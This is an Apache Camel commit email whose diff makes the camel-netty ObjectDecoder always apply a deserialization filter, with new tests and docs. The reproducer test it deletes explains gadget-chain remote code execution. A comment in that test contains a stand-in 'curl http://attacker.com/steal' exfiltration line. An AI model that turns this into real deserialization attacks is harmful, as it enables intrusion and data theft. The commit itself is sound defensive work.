This is an automated email from the ASF dual-hosted git repository.
oscerd pushed a commit to branch main
in repository https://gitbox.apache.org/repos/asf/camel.git
The following commit(s) were added to refs/heads/main by this push:
new 5daaebbe60ef CAMEL-24370: camel-netty - resolve the shared
deserialization filter in the object codecs (#25562)
5daaebbe60ef is described below
commit 5daaebbe60ef34a768af3cde745e9a30544f7de7
Author: Andrea Cosentino <[email protected]>
AuthorDate: Fri Aug 21 18:23:35 2026 +0200
CAMEL-24370: camel-netty - resolve the shared deserialization filter in the
object codecs (#25562)
CAMEL-24370: camel-netty - resolve the shared deserialization filter in
ObjectDecoder
ObjectDecoder previously installed an ObjectInputFilter only when an
explicit
deserializationFilter pattern was passed; the single-argument constructor
passed
null, so decoders built that way applied no filter at all and only logged a
warning.
This left the object codecs the last Java-serialization entry points in the
component
that did not resolve their filter through the shared
DeserializationFilterHelper.
The filter is now resolved via
DeserializationFilterHelper.resolveDeserializationFilter():
an unset pattern falls back to the JVM-wide jdk.serialFilter and then to
the shared Camel
default allow-list, so a filter is always installed.
DatagramPacketObjectDecoder inherits
this by delegation.
Added ObjectDecoderDeserializationFilterTest (EmbeddedChannel) covering
rejection of a
non-allow-listed class, allow-listed pass-through and an explicit-filter
override, and
removed the now-obsolete pre-fix reproducer. Documented the behaviour in
netty-component.adoc and the 4.22 upgrade guide.
Signed-off-by: Andrea Cosentino <[email protected]>
Co-authored-by: Claude Opus 4.8 <[email protected]>
---
.../apache/camel/catalog/docs/netty-component.adoc | 17 +++
.../camel-netty/src/main/docs/netty-component.adoc | 17 +++
.../camel/component/netty/codec/ObjectDecoder.java | 27 ++---
...ttyUnfilteredDeserializationReproducerTest.java | 123 ---------------------
.../ObjectDecoderDeserializationFilterTest.java | 89 +++++++++++++++
.../ROOT/pages/camel-4x-upgrade-guide-4_22.adoc | 15 +++
6 files changed, 149 insertions(+), 139 deletions(-)
diff --git
a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/docs/netty-component.adoc
b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/docs/netty-component.adoc
index b65f53cfa3a1..41ec14cae2f4 100644
---
a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/docs/netty-component.adoc
+++
b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/docs/netty-component.adoc
@@ -622,6 +622,23 @@
from("netty:udp://0.0.0.0:5155?sync=true&decoders=#decoder")
.to("bean:poetryProcessor");
----
+[NOTE]
+====
+Since Camel 4.22, `ObjectDecoder` and `DatagramPacketObjectDecoder` always
install a JEP-290
+`java.io.ObjectInputFilter` while decoding, as a defense-in-depth measure
against unsafe Java deserialization. When no
+explicit pattern is passed, the JVM-wide `jdk.serialFilter` is honoured if
set, otherwise the shared Camel default
+allow-list is applied (it permits standard Java and Apache Camel types, denies
`java.net.**`, and enforces JEP-290
+graph-shape limits).
+
+For decoders exposed to untrusted peers, configure a stricter allow-list by
passing a filter pattern (same syntax as
+`jdk.serialFilter`) to the two-argument constructor:
+
+[source,java]
+----
+return new
DatagramPacketObjectDecoder(ClassResolvers.weakCachingResolver(null),
"com.example.model.**;java.**;!*");
+----
+====
+
=== A TCP-based Netty consumer endpoint using One-way communication
[tabs]
diff --git a/components/camel-netty/src/main/docs/netty-component.adoc
b/components/camel-netty/src/main/docs/netty-component.adoc
index b65f53cfa3a1..41ec14cae2f4 100644
--- a/components/camel-netty/src/main/docs/netty-component.adoc
+++ b/components/camel-netty/src/main/docs/netty-component.adoc
@@ -622,6 +622,23 @@
from("netty:udp://0.0.0.0:5155?sync=true&decoders=#decoder")
.to("bean:poetryProcessor");
----
+[NOTE]
+====
+Since Camel 4.22, `ObjectDecoder` and `DatagramPacketObjectDecoder` always
install a JEP-290
+`java.io.ObjectInputFilter` while decoding, as a defense-in-depth measure
against unsafe Java deserialization. When no
+explicit pattern is passed, the JVM-wide `jdk.serialFilter` is honoured if
set, otherwise the shared Camel default
+allow-list is applied (it permits standard Java and Apache Camel types, denies
`java.net.**`, and enforces JEP-290
+graph-shape limits).
+
+For decoders exposed to untrusted peers, configure a stricter allow-list by
passing a filter pattern (same syntax as
+`jdk.serialFilter`) to the two-argument constructor:
+
+[source,java]
+----
+return new
DatagramPacketObjectDecoder(ClassResolvers.weakCachingResolver(null),
"com.example.model.**;java.**;!*");
+----
+====
+
=== A TCP-based Netty consumer endpoint using One-way communication
[tabs]
diff --git
a/components/camel-netty/src/main/java/org/apache/camel/component/netty/codec/ObjectDecoder.java
b/components/camel-netty/src/main/java/org/apache/camel/component/netty/codec/ObjectDecoder.java
index c1508fe8cd90..977d97e3eb74 100644
---
a/components/camel-netty/src/main/java/org/apache/camel/component/netty/codec/ObjectDecoder.java
+++
b/components/camel-netty/src/main/java/org/apache/camel/component/netty/codec/ObjectDecoder.java
@@ -29,17 +29,19 @@ import io.netty.buffer.ByteBufInputStream;
import io.netty.channel.ChannelHandlerContext;
import io.netty.handler.codec.LengthFieldBasedFrameDecoder;
import io.netty.handler.codec.serialization.ClassResolver;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
+import org.apache.camel.support.DeserializationFilterHelper;
/**
- * Decodes Java-serialized objects from Netty frames with optional {@link
ObjectInputFilter} support.
+ * Decodes Java-serialized objects from Netty frames, applying a JEP-290
{@link ObjectInputFilter} as a defense-in-depth
+ * measure against unsafe deserialization.
* <p>
- * Compatible with Netty's {@code ObjectEncoder} compact wire format. When a
{@code deserializationFilter} is provided,
- * only classes matching the filter pattern will be allowed during
deserialization.
+ * Compatible with Netty's {@code ObjectEncoder} compact wire format. The
filter is resolved through
+ * {@link DeserializationFilterHelper}: when an explicit {@code
deserializationFilter} pattern is supplied it is
+ * applied, otherwise the JVM-wide {@code jdk.serialFilter} is honoured if
set, and failing that the shared Camel
+ * default allow-list ({@link
DeserializationFilterHelper#DEFAULT_DESERIALIZATION_FILTER}) is applied. A
filter is
+ * therefore always installed.
*/
public class ObjectDecoder extends LengthFieldBasedFrameDecoder {
- private static final Logger LOG =
LoggerFactory.getLogger(ObjectDecoder.class);
private static final int DEFAULT_MAX_OBJECT_SIZE = 1048576;
// Matches Netty's CompactObjectOutputStream type constants
@@ -47,7 +49,7 @@ public class ObjectDecoder extends
LengthFieldBasedFrameDecoder {
private static final int TYPE_THIN_DESCRIPTOR = 1;
private final ClassResolver classResolver;
- private final String deserializationFilter;
+ private final ObjectInputFilter deserializationFilter;
public ObjectDecoder(ClassResolver classResolver) {
this(classResolver, null);
@@ -56,12 +58,7 @@ public class ObjectDecoder extends
LengthFieldBasedFrameDecoder {
public ObjectDecoder(ClassResolver classResolver, String
deserializationFilter) {
super(DEFAULT_MAX_OBJECT_SIZE, 0, 4, 0, 4);
this.classResolver = classResolver;
- this.deserializationFilter = deserializationFilter;
- if (deserializationFilter == null) {
- LOG.warn("ObjectDecoder created without a deserialization filter."
- + " Unrestricted deserialization of network data is a
security risk."
- + " Consider setting a deserializationFilter to restrict
allowed classes.");
- }
+ this.deserializationFilter =
DeserializationFilterHelper.resolveDeserializationFilter(deserializationFilter);
}
@Override
@@ -72,9 +69,7 @@ public class ObjectDecoder extends
LengthFieldBasedFrameDecoder {
}
ObjectInputStream ois = new CompactFilteringObjectInputStream(
new ByteBufInputStream(frame, true), classResolver);
- if (deserializationFilter != null) {
-
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
- }
+ ois.setObjectInputFilter(deserializationFilter);
try {
return ois.readObject();
} finally {
diff --git
a/components/camel-netty/src/test/java/org/apache/camel/component/netty/NettyUnfilteredDeserializationReproducerTest.java
b/components/camel-netty/src/test/java/org/apache/camel/component/netty/NettyUnfilteredDeserializationReproducerTest.java
deleted file mode 100644
index 2ec3fdafba43..000000000000
---
a/components/camel-netty/src/test/java/org/apache/camel/component/netty/NettyUnfilteredDeserializationReproducerTest.java
+++ /dev/null
@@ -1,123 +0,0 @@
-/*
- * Licensed to the Apache Software Foundation (ASF) under one or more
- * contributor license agreements. See the NOTICE file distributed with
- * this work for additional information regarding copyright ownership.
- * The ASF licenses this file to You under the Apache License, Version 2.0
- * (the "License"); you may not use this file except in compliance with
- * the License. You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package org.apache.camel.component.netty;
-
-import java.io.IOException;
-import java.io.ObjectInputStream;
-import java.io.Serializable;
-
-import io.netty.channel.ChannelHandler;
-import io.netty.handler.codec.serialization.ClassResolvers;
-import org.apache.camel.BindToRegistry;
-import org.apache.camel.builder.RouteBuilder;
-import org.apache.camel.component.netty.codec.ObjectDecoder;
-import org.apache.camel.component.netty.codec.ObjectEncoder;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * Reproducer demonstrating that camel-netty TCP endpoints using ObjectDecoder
perform unrestricted Java deserialization
- * without ObjectInputFilter.
- *
- * <p>
- * When ObjectDecoder is configured, ANY Serializable class sent over the wire
is deserialized, including its
- * {@code readObject()} method. An attacker can exploit this to achieve remote
code execution via known gadget chains
- * (e.g., Commons Collections, Spring, etc.).
- * </p>
- *
- * <p>
- * This test uses a {@link SimulatedGadget} that sets a static flag in its
{@code readObject()} to prove arbitrary code
- * execution during deserialization. In a real attack, this would chain to
{@code Runtime.getRuntime().exec()}.
- * </p>
- */
-public class NettyUnfilteredDeserializationReproducerTest extends
BaseNettyTest {
-
- @BindToRegistry("encoder")
- public ChannelHandler getEncoder() {
- return new ShareableChannelHandlerFactory(new ObjectEncoder());
- }
-
- @BindToRegistry("decoder")
- public ChannelHandler getDecoder() {
- return new DefaultChannelHandlerFactory() {
- @Override
- public ChannelHandler newChannelHandler() {
- return new
ObjectDecoder(ClassResolvers.weakCachingResolver(null));
- }
- };
- }
-
- @BeforeEach
- void resetGadget() {
- SimulatedGadget.executed = false;
- }
-
- @Test
- public void testUnfilteredDeserializationAllowsArbitraryCodeExecution() {
- // An attacker sends a crafted Serializable object to the netty TCP
endpoint.
- // The ObjectDecoder deserializes it without any ObjectInputFilter,
- // so SimulatedGadget.readObject() executes arbitrary code.
- SimulatedGadget gadget = new SimulatedGadget();
-
- template.requestBody(
-
"netty:tcp://localhost:{{port}}?sync=true&encoders=#encoder&decoders=#decoder",
- gadget, Object.class);
-
- assertTrue(SimulatedGadget.executed,
- "SimulatedGadget.readObject() was called during
deserialization, "
- + "proving unrestricted
deserialization allows arbitrary code execution. "
- + "An ObjectInputFilter should
reject unknown classes.");
- }
-
- @Override
- protected RouteBuilder createRouteBuilder() {
- return new RouteBuilder() {
- @Override
- public void configure() {
-
from("netty:tcp://localhost:{{port}}?sync=true&decoders=#decoder&encoders=#encoder")
- .process(exchange -> {
- Object body = exchange.getIn().getBody();
- exchange.getMessage().setBody("received: " +
body.getClass().getName());
- });
- }
- };
- }
-
- /**
- * Simulates a deserialization gadget. In a real attack this would be a
class from a library on the classpath (e.g.,
- * commons-collections InvokerTransformer) that chains to {@code
Runtime.getRuntime().exec("malicious command")}.
- *
- * <p>
- * Here we simply set a static flag to prove that {@code readObject()}
runs during deserialization -- i.e.,
- * arbitrary code execution is possible.
- * </p>
- */
- public static class SimulatedGadget implements Serializable {
- private static final long serialVersionUID = 1L;
-
- static volatile boolean executed;
-
- private void readObject(ObjectInputStream in) throws IOException,
ClassNotFoundException {
- in.defaultReadObject();
- // In a real gadget chain this would be:
- // Runtime.getRuntime().exec("curl
http://attacker.com/steal?data=...");
- executed = true;
- }
- }
-}
diff --git
a/components/camel-netty/src/test/java/org/apache/camel/component/netty/ObjectDecoderDeserializationFilterTest.java
b/components/camel-netty/src/test/java/org/apache/camel/component/netty/ObjectDecoderDeserializationFilterTest.java
new file mode 100644
index 000000000000..7b6b9c934876
--- /dev/null
+++
b/components/camel-netty/src/test/java/org/apache/camel/component/netty/ObjectDecoderDeserializationFilterTest.java
@@ -0,0 +1,89 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.camel.component.netty;
+
+import java.io.InvalidClassException;
+import java.net.URI;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.embedded.EmbeddedChannel;
+import io.netty.handler.codec.DecoderException;
+import io.netty.handler.codec.serialization.ClassResolvers;
+import org.apache.camel.component.netty.codec.ObjectDecoder;
+import org.apache.camel.component.netty.codec.ObjectEncoder;
+import org.junit.jupiter.api.Test;
+
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.assertj.core.api.Assertions.assertThatThrownBy;
+
+/**
+ * Verifies that {@link ObjectDecoder} always installs a JEP-290 {@code
ObjectInputFilter} resolved through
+ * {@code DeserializationFilterHelper}: an unset pattern now falls back to the
shared Camel default allow-list instead
+ * of applying no filter at all.
+ */
+class ObjectDecoderDeserializationFilterTest {
+
+ @Test
+ void defaultFilterAllowsStandardType() {
+ assertThat(decode(encode("hello netty"), null)).isEqualTo("hello
netty");
+ }
+
+ @Test
+ void singleArgConstructorRejectsClassOutsideDefaultAllowList() {
+ ByteBuf frame = encode(URI.create("http://example.com/"));
+ EmbeddedChannel channel = new EmbeddedChannel(new
ObjectDecoder(ClassResolvers.weakCachingResolver(null)));
+ assertThatThrownBy(() -> channel.writeInbound(frame))
+ .isInstanceOf(DecoderException.class)
+ .hasRootCauseInstanceOf(InvalidClassException.class);
+ channel.finishAndReleaseAll();
+ }
+
+ @Test
+ void defaultFilterRejectsClassOutsideAllowList() {
+ ByteBuf frame = encode(URI.create("http://example.com/"));
+ EmbeddedChannel channel
+ = new EmbeddedChannel(new
ObjectDecoder(ClassResolvers.weakCachingResolver(null), null));
+ assertThatThrownBy(() -> channel.writeInbound(frame))
+ .isInstanceOf(DecoderException.class)
+ .hasRootCauseInstanceOf(InvalidClassException.class);
+ channel.finishAndReleaseAll();
+ }
+
+ @Test
+ void explicitFilterCanAllowOtherwiseDeniedClass() {
+ Object result = decode(encode(URI.create("http://example.com/")),
"java.**;!*");
+ assertThat(result).isInstanceOf(URI.class);
+ assertThat(result).hasToString("http://example.com/");
+ }
+
+ private static ByteBuf encode(Object value) {
+ EmbeddedChannel channel = new EmbeddedChannel(new ObjectEncoder());
+ assertThat(channel.writeOutbound(value)).isTrue();
+ ByteBuf frame = channel.readOutbound();
+ channel.finish();
+ return frame;
+ }
+
+ private static Object decode(ByteBuf frame, String deserializationFilter) {
+ EmbeddedChannel channel = new EmbeddedChannel(
+ new ObjectDecoder(ClassResolvers.weakCachingResolver(null),
deserializationFilter));
+ assertThat(channel.writeInbound(frame)).isTrue();
+ Object result = channel.readInbound();
+ channel.finish();
+ return result;
+ }
+}
diff --git
a/docs/user-manual/modules/ROOT/pages/camel-4x-upgrade-guide-4_22.adoc
b/docs/user-manual/modules/ROOT/pages/camel-4x-upgrade-guide-4_22.adoc
index da5d4261420f..4237133334a0 100644
--- a/docs/user-manual/modules/ROOT/pages/camel-4x-upgrade-guide-4_22.adoc
+++ b/docs/user-manual/modules/ROOT/pages/camel-4x-upgrade-guide-4_22.adoc
@@ -104,6 +104,21 @@ IN message to the new OUT message, restoring the
pre-4.10.1 behavior where attac
across the exchange. If you added a workaround (for example, stashing and
restoring attachments
in exchange properties around a producer call), it can be removed.
+=== camel-netty - object codecs apply a deserialization filter by default
+
+The `ObjectDecoder` and `DatagramPacketObjectDecoder` codecs (used when a
route configures Netty
+object serialization through the `encoders` / `decoders` options) now always
install a JEP-290
+`java.io.ObjectInputFilter` while decoding, resolved through
`DeserializationFilterHelper`.
+Previously a decoder built without an explicit filter pattern applied no
filter at all and only
+logged a warning.
+
+When no explicit pattern is passed, the JVM-wide `jdk.serialFilter` is
honoured if set, otherwise
+the shared Camel default allow-list is applied (it permits standard Java and
Apache Camel types,
+denies `java.net.**`, and enforces JEP-290 graph-shape limits). Routes that
deserialize classes
+outside that allow-list must pass an explicit filter pattern to the
two-argument
+`ObjectDecoder(ClassResolver, String)` /
`DatagramPacketObjectDecoder(ClassResolver, String)`
+constructor (or configure `jdk.serialFilter`) to permit them.
+
=== camel-jbang
The Camel JBang CLI (Camel CLI) and TUI have been promoted from _Preview_ to
_Stable_ support level.